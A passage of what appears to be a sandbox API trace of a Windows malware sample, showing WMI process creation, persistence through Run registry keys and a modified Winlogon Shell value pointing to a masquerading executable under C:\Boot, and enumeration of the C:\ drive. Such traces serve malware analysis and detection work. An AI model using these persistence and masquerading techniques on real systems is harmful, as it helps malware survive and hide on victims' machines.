varVal2=0x0), pType=0x2bdd4d0*=13, plFlavor=0x2bdd4d4*=32) returned 0x0 [0130.608] IUnknown:QueryInterface (in: This=0x1b442160, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d2b0 | out: ppvObject=0x1b10d2b0*=0x1b442160) returned 0x0 [0130.608] IUnknown:QueryInterface (in: This=0x1b442160, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d340 | out: ppvObject=0x1b10d340*=0x0) returned 0x80004002 [0130.608] IUnknown:QueryInterface (in: This=0x1b442160, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cf60 | out: ppvObject=0x1b10cf60*=0x0) returned 0x80004002 [0130.608] IUnknown:QueryInterface (in: This=0x1b442160, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10cb38 | out: ppvObject=0x1b10cb38*=0x0) returned 0x80004002 [0130.609] IUnknown:AddRef (This=0x1b442160) returned 0x3 [0130.609] IUnknown:QueryInterface (in: This=0x1b442160, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c9f8 | out: ppvObject=0x1b10c9f8*=0x0) returned 0x80004002 [0130.609] IUnknown:QueryInterface (in: This=0x1b442160, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c980 | out: ppvObject=0x1b10c980*=0x0) returned 0x80004002 [0130.609] IUnknown:QueryInterface (in: This=0x1b442160, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c970 | out: ppvObject=0x1b10c970*=0x1b442168) returned 0x0 [0130.609] IMarshal:GetUnmarshalClass (in: This=0x1b442168, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c998 | out: pCid=0x1b10c998*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0130.609] IUnknown:Release (This=0x1b442168) returned 0x3 [0130.609] CoGetContextToken (in: pToken=0x1b10ca20 | out: pToken=0x1b10ca20) returned 0x0 [0130.609] CoGetContextToken (in: pToken=0x1b10cea0 | out: pToken=0x1b10cea0) returned 0x0 [0130.609] IUnknown:QueryInterface (in: This=0x1b442160, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cf60 | out: ppvObject=0x1b10cf60*=0x0) returned 0x80004002 [0130.609] IUnknown:Release (This=0x1b442160) returned 0x2 [0130.609] CoGetContextToken (in: pToken=0x1b10cf20 | out: pToken=0x1b10cf20) returned 0x0 [0130.609] CoGetContextToken (in: pToken=0x1b10ce20 | out: pToken=0x1b10ce20) returned 0x0 [0130.609] IUnknown:QueryInterface (in: This=0x1b442160, riid=0x1b10cf80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b10cf50 | out: ppvObject=0x1b10cf50*=0x0) returned 0x80004002 [0130.610] CoGetContextToken (in: pToken=0x1b10d0b0 | out: pToken=0x1b10d0b0) returned 0x0 [0130.610] IUnknown:QueryInterface (in: This=0x1b442160, riid=0x7ffb02955148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d180 | out: ppvObject=0x1b10d180*=0x0) returned 0x80004002 [0130.610] CoGetContextToken (in: pToken=0x1b10d140 | out: pToken=0x1b10d140) returned 0x0 [0130.610] IUnknown:AddRef (This=0x1b442160) returned 0x3 [0130.610] IWbemClassObject:Put (This=0x1b432bc0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b10da60*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b442160, varVal2=0x0), Type=0) returned 0x0 [0130.610] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351680, puCount=0x1b10daf8 | out: puCount=0x1b10daf8*=0x2) returned 0x0 [0130.610] WbemDefPath:IWbemPath:GetText (in: This=0x351680, lFlags=4, puBuffLength=0x1b10daf0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10daf0*=0x22, pszText=0x0) returned 0x0 [0130.610] WbemDefPath:IWbemPath:GetText (in: This=0x351680, lFlags=4, puBuffLength=0x1b10daf0*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b10daf0*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0130.610] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352280, puCount=0x1b10da38 | out: puCount=0x1b10da38*=0x2) returned 0x0 [0130.610] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=4, puBuffLength=0x1b10da30*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da30*=0xf, pszText=0x0) returned 0x0 [0130.610] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=4, puBuffLength=0x1b10da30*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10da30*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.610] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0130.611] WbemLocator:IUnknown:AddRef (This=0x3497a8) returned 0x3 [0130.611] WbemLocator:IUnknown:QueryInterface (in: This=0x3497a8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d400 | out: ppvObject=0x1b10d400*=0x3497a8) returned 0x0 [0130.611] WbemLocator:IUnknown:Release (This=0x3497a8) returned 0x3 [0130.611] WbemLocator:IUnknown:Release (This=0x3497a8) returned 0x2 [0130.611] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0130.611] WbemLocator:IUnknown:AddRef (This=0x3497a8) returned 0x3 [0130.611] WbemLocator:IUnknown:QueryInterface (in: This=0x3497a8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d400 | out: ppvObject=0x1b10d400*=0x3497a8) returned 0x0 [0130.611] WbemLocator:IUnknown:Release (This=0x3497a8) returned 0x3 [0130.611] WbemLocator:IUnknown:Release (This=0x3497a8) returned 0x2 [0130.611] WbemDefPath:IWbemPath:GetText (in: This=0x351680, lFlags=2, puBuffLength=0x1b10db00*=0x0, pszText=0x0 | out: puBuffLength=0x1b10db00*=0xe, pszText=0x0) returned 0x0 [0130.611] WbemDefPath:IWbemPath:GetText (in: This=0x351680, lFlags=2, puBuffLength=0x1b10db00*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10db00*=0xe, pszText="Win32_Process") returned 0x0 [0130.612] IWbemServices:ExecMethod (in: This=0x1b4037e0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b432bc0, ppOutParams=0x1b10da70*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b10da70*=0x1b450e00, ppCallResult=0x0) returned 0x0 [0130.939] IWbemClassObject:Get (in: This=0x1b450e00, wszName="ProcessId", lFlags=0, pVal=0x1b10da60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2c60908*=0, plFlavor=0x2c6090c*=0 | out: pVal=0x1b10da60*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x134c, varVal2=0x0), pType=0x2c60908*=19, plFlavor=0x2c6090c*=0) returned 0x0 [0130.939] IWbemClassObject:Get (in: This=0x1b450e00, wszName="ProcessId", lFlags=0, pVal=0x1b10da70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2c60908*=19, plFlavor=0x2c6090c*=0 | out: pVal=0x1b10da70*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x134c, varVal2=0x0), pType=0x2c60908*=19, plFlavor=0x2c6090c*=0) returned 0x0 [0131.340] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b10dd18 | out: phkResult=0x1b10dd18*=0x2f8) returned 0x0 [0131.344] RegQueryValueExW (in: hKey=0x2f8, lpValueName="absolutetelnet", lpReserved=0x0, lpType=0x1b10dd38, lpData=0x0, lpcbData=0x1b10dd30*=0x0 | out: lpType=0x1b10dd38*=0x0, lpData=0x0, lpcbData=0x1b10dd30*=0x0) returned 0x2 [0131.345] RegSetValueExW (in: hKey=0x2f8, lpValueName="absolutetelnet", Reserved=0x0, dwType=0x1, lpData="\"C:\\Boot\\Resources\\en-US\\absolutetelnet.exe\"", cbData=0x5a | out: lpData="\"C:\\Boot\\Resources\\en-US\\absolutetelnet.exe\"") returned 0x0 [0131.347] RegCloseKey (hKey=0x2f8) returned 0x0 [0131.347] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b10dd18 | out: phkResult=0x1b10dd18*=0x2f8) returned 0x0 [0131.347] RegQueryValueExW (in: hKey=0x2f8, lpValueName="absolutetelnet", lpReserved=0x0, lpType=0x1b10dd38, lpData=0x0, lpcbData=0x1b10dd30*=0x0 | out: lpType=0x1b10dd38*=0x0, lpData=0x0, lpcbData=0x1b10dd30*=0x0) returned 0x2 [0131.347] RegSetValueExW (in: hKey=0x2f8, lpValueName="absolutetelnet", Reserved=0x0, dwType=0x1, lpData="\"C:\\Boot\\Resources\\en-US\\absolutetelnet.exe\"", cbData=0x5a | out: lpData="\"C:\\Boot\\Resources\\en-US\\absolutetelnet.exe\"") returned 0x0 [0131.348] RegCloseKey (hKey=0x2f8) returned 0x0 [0131.348] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b10dd18 | out: phkResult=0x1b10dd18*=0x2f8) returned 0x0 [0131.351] RegQueryValueExW (in: hKey=0x2f8, lpValueName="Shell", lpReserved=0x0, lpType=0x1b10dd68, lpData=0x0, lpcbData=0x1b10dd60*=0x0 | out: lpType=0x1b10dd68*=0x1, lpData=0x0, lpcbData=0x1b10dd60*=0x1a) returned 0x0 [0131.351] RegQueryValueExW (in: hKey=0x2f8, lpValueName="Shell", lpReserved=0x0, lpType=0x1b10dd68, lpData=0x2ca31c0, lpcbData=0x1b10dd60*=0x1a | out: lpType=0x1b10dd68*=0x1, lpData="explorer.exe", lpcbData=0x1b10dd60*=0x1a) returned 0x0 [0131.353] RegQueryValueExW (in: hKey=0x2f8, lpValueName="Shell", lpReserved=0x0, lpType=0x1b10dd38, lpData=0x0, lpcbData=0x1b10dd30*=0x0 | out: lpType=0x1b10dd38*=0x1, lpData=0x0, lpcbData=0x1b10dd30*=0x1a) returned 0x0 [0131.353] RegSetValueExW (in: hKey=0x2f8, lpValueName="Shell", Reserved=0x0, dwType=0x1, lpData="explorer.exe, \"C:\\Boot\\Resources\\en-US\\absolutetelnet.exe\"", cbData=0x76 | out: lpData="explorer.exe, \"C:\\Boot\\Resources\\en-US\\absolutetelnet.exe\"") returned 0x0 [0131.414] RegCloseKey (hKey=0x2f8) returned 0x0 [0131.427] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xe34) returned 0x2f8 [0131.428] GetExitCodeProcess (in: hProcess=0x2f8, lpExitCode=0x27a16f4 | out: lpExitCode=0x27a16f4*=0x103) returned 1 [0131.646] CoTaskMemAlloc (cb=0x404) returned 0x1b441820 [0131.646] QueryFullProcessImageNameA (in: hProcess=0x2f8, dwFlags=0x0, lpExeName=0x1b441820, lpdwSize=0x1b10e258 | out: lpExeName="C:\\Program Files (x86)\\Windows Defender\\much family.exe", lpdwSize=0x1b10e258) returned 1 [0131.649] CoTaskMemFree (pv=0x1b441820) [0131.661] CoTaskMemAlloc (cb=0x20c) returned 0x1b3efbf0 [0131.661] GetSystemDirectoryW (in: lpBuffer=0x1b3efbf0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0131.662] CoTaskMemFree (pv=0x1b3efbf0) [0131.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b10df40) returned 1 [0131.662] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b10da20, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0131.662] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b10dc50 | out: lpFindFileData=0x1b10dc50*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1b4063d0 [0131.663] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7898476d, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78b27f82, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0131.664] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78ab5a49, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x61b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0131.664] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0x78b27f82, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x2feb42d5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0131.664] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x78d17e5a, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x78d17e5a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x78d17e5a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0131.664] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1317bed, ftCreationTime.dwHighDateTime=0x1d99cf2, ftLastAccessTime.dwLowDateTime=0xf974ba53, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xf974ba53, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0131.664] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d599f22, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x5d599f22, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x5d599f22, ftLastWriteTime.dwHighDateTime=0x1d7005f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0131.665] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x551dbbfd, ftCreationTime.dwHighDateTime=0x1d7005f, ftLastAccessTime.dwLowDateTime=0x551dbbfd, ftLastAccessTime.dwHighDateTime=0x1d7005f, ftLastWriteTime.dwLowDateTime=0x1e1f9623, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0131.665] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0131.665] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x85890a37, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x85890a37, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x1f2a7203, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x48000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0131.665] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbaec25, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xbaec25, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0131.665] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5db15d6, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xe62a7e2b, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xe62a7e2b, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="portSession", cAlternateFileName="PORTSE~1")) returned 1 [0131.666] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x1aa2f4d, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x1aa2f4d, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0131.666] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xb62d6190, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xb62d6190, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0131.666] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xa4af3a5b, ftLastAccessTime.dwHighDateTime=0x1d8c106, ftLastWriteTime.dwLowDateTime=0xa4af3a5b, ftLastWriteTime.dwHighDateTime=0x1d8c106, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0131.666] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbaa998b0, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xbadba904, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbadba904, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0131.666] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x858b6c65, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x858b6c65, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x1f2cd480, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0x0, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0131.667] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x85289733, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x2dbfc137, ftLastAccessTime.dwHighDateTime=0x1d70505, ftLastWriteTime.dwLowDateTime=0x2dbfc137, ftLastWriteTime.dwHighDateTime=0x1d70505, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0131.667] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x3ce179de, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3ce179de, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0131.667] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0x1cdcce1, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x1cdcce1, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0131.667] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0131.667] FindClose (in: hFindFile=0x1b4063d0 | out: hFindFile=0x1b4063d0) returned 1 [0131.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10de70) returned 1 [0131.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b10de30) returned 1 [0131.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b10df40) returned 1 [0131.668] GetFullPathNameW (in: lpFileName="C:\\MSOCache", nBufferLength=0x105, lpBuffer=0x1b10da20, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache", lpFilePart=0x0) returned 0xb [0131.668] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*" (normalized: "c:\\msocache\\*"), lpFindFileData=0x1b10dc50 | out: lpFindFileData=0x1b10dc50*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, ftLastAccessTime.dwLowDateTime=0x4cba8e1e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0x4cba8e1e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b4063d0 [0131.669] FindNextFileW (in: hFindFile=0x1b4063d0, lpFindFileData=0x1b10dc10 | out: lpFindFileData=0x1b10dc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0x4cb5cae1, ftCreationTime.dwHighDateTime=0x1d99cf3, 